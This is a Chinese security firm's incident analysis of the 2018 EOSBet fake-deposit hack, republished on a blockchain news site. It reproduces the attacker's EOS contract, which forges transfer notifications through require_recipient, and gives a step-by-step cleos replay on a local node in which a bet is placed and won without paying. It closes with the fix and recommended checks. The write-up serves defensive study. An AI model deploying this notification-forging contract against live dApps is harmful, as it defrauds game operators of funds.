EOS dApp 漏洞盘点分析-EOSBet 假充值漏洞二

深圳零时科技有限公司
企业专栏
热度: 21376
据悉EOSBet在2018年10月14日遭到黑客转账信息伪造攻击,根据EOSBet官方通告,此次攻击共被盗142,845 EOS(折合人民币510万,10月14日价格)

Written by WeaponX@零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis

0x00 背景

EOSBet在2018年10月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗142,845 EOS(折合人民币510万,10月14日价格)。

假充值漏洞

0x01 技术分析

由于EOSBet官方在2018.09.14被黑客攻击后,将源代码开源至gitlab上,经过分析EOSBet官方合约eosbetdice11的转账记录,我们初步判断黑客可能是利用了转账通知伪造攻击。我们就直接分析源码来寻找安全问题。

首先,我们审查一下EOSIO_BAI_EX

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
  void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
     auto self = receiver; \
     if( code == self || code == N(eosio.token)) { \
    if( action == N(transfer)){ \
    eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
    } \
        TYPE thiscontract( self ); \
        switch( action ) { \
           EOSIO_API( TYPE, MEMBERS ) \
        } \
        /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
    } \
  } \
}

这个代码在2018年9月14日被黑客攻击后已经修复相关漏洞,验证了transfer的调用者只能是eosio.token,也就是说只有支付了eosio.token发布的EOS才能进行相关的游戏操作。

这块代码是没有问题的。然后,我们审查一下transfer函数

        void transfer(uint64_t sender, uint64_t receiver) {

auto transfer_data = unpack_action_data<st_transfer>();

if (transfer_data.from == _self || transfer_data.from == N(eosbetcasino)){
return;
}
           
          ...
}

验证转账账户不是自己或转账账户不是eosbetcasino才能进行相关的游戏操作。问题就出在这,EOSBet没有验证转账消息是否和自己有关就开始了相关操作。

黑客可以通过创建两个子账户AB,只要给B账户部署以下合约

#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
public:
attack(account_name self):eosio::contract(self)
{}
//@abi action
void transfer(account_name from, account_name to, asset quantity, std::string memo) {
if(from == _self || to != _self)
return;
require_recipient(N(eosbetdice11));
}
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
  void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
     auto self = receiver; \
     if( code == self || code == N(eosio.token)) { \
    if( action == N(transfer)){ \
    eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
    } \
        TYPE thiscontract( self ); \
        switch( action ) { \
           EOSIO_API( TYPE, MEMBERS ) \
        } \
        /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
    } \
  } \
}

EOSIO_ABI_EX( attack,
(transfer)
)

就可以子账号间的转账A->B时将转账通知recipient抄送给eosbetdice11,进行相关的抽奖游戏且不用消耗任何的EOS,简单来说就是输了不用赔钱,赢了还能赚钱。

0x02 攻击复盘

创建eosio.token账户

cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV


部署eosio.token合约并初始化

# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token


创建游戏账户、开奖账户和攻击者账户

#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio user EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk


编译攻击者合约并部署

#编译攻击合约
eosiocpp -o attacker.wast attacker.cpp
eosiocpp -g attacker.abi attacker.cpp
#部署攻击合约
cleos set contract attacker /home/user/contract/attacker -p attacker


设置账户随机权限和开奖权限

#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random


向相关账户冲入代币

#往相关账户充值
cleos push action eosio.token issue '["user", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active

假充值漏洞


部署游戏合约并初始化

#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino


模拟黑客发起攻击

#发起攻击
cleos push action eosio.token transfer '["user", "attacker", "10.0000 EOS", "88-attacker-attacker"]' -p user

假充值漏洞

可以看到,因为黑客的attacker合约require_recipient(N(eosbetdice11))eosio.token又将转账通知发送给了eosbetdice11


#查询抽奖订单
cleos get table eosbetdice11 eosbetdice11 activebets

假充值漏洞


查询相关账户的余额

cleos get currency balance eosio.token user EOS
cleos get currency balance eosio.token attacker EOS
cleos get currency balance eosio.token eosbetdice11 EOS

假充值漏洞

可见黑客控制的账户总余额没有变化,EOSBet账户金额也没有变化,却生成了游戏订单。


对订单签名并开奖

#对订单签名
node sign.js
#开奖
cleos push action eosbetdice11 resolvebet '["4601087045072102575","SIG_K1_KBSXxckQiZYULG5dMrx2tYWfxPZBCZrCE9FRmhWofoeLQTW5WDubaMdCndc2dVSquHeUeQBG8d9dtaAec6BUxsmCnmSGFh"]' -p
eosbetcasino@random

开奖成功,黑客中奖

假充值漏洞

0x03 后记

EOSBet官方在受到攻击后做了以下加固,在transfer函数中对转账的付款人和收款人做了限制,必须 有一项是合约本身。也就是说,转账和自身合约有关的才会去处理。

eosio_assert(transfer_data.from == _self || transfer_data.to == _self, “Must be incoming or outgoing transfer”);

至此,EOSBet才正确的修复了假充值漏洞。

0x04 修复方案

零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:

  • 通知是否来自eosio.token,即只处理eosio.token发送的通知

    eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
  • 转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知

    eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");

0x05 Refer

https://medium.com/@eosbetcasino/eosbet-statement-on-hack-and-1st-dividend-distribution-a5c9aa617eaf

https://gitlab.com/EOSBetCasino/eosbetdice_public

声明:本文为入驻“火星号”作者作品,不代表火星财经官方立场。
转载请联系网页底部:内容合作栏目,邮件进行授权。授权后转载时请注明出处、作者和本文链接。 未经许可擅自转载本站文章,将追究相关法律责任,侵权必究。
提示:投资有风险,入市须谨慎,本资讯不作为投资理财建议。
免责声明:作为区块链信息平台,本站所提供的资讯信息不代表任何投资暗示,本站所发布文章仅代表个人观点,与火星财经官方立场无关。鉴于中国尚未出台数字资产相关政策及法规,请中国大陆用户谨慎进行数字货币投资。
语音技术由科大讯飞提供

评论0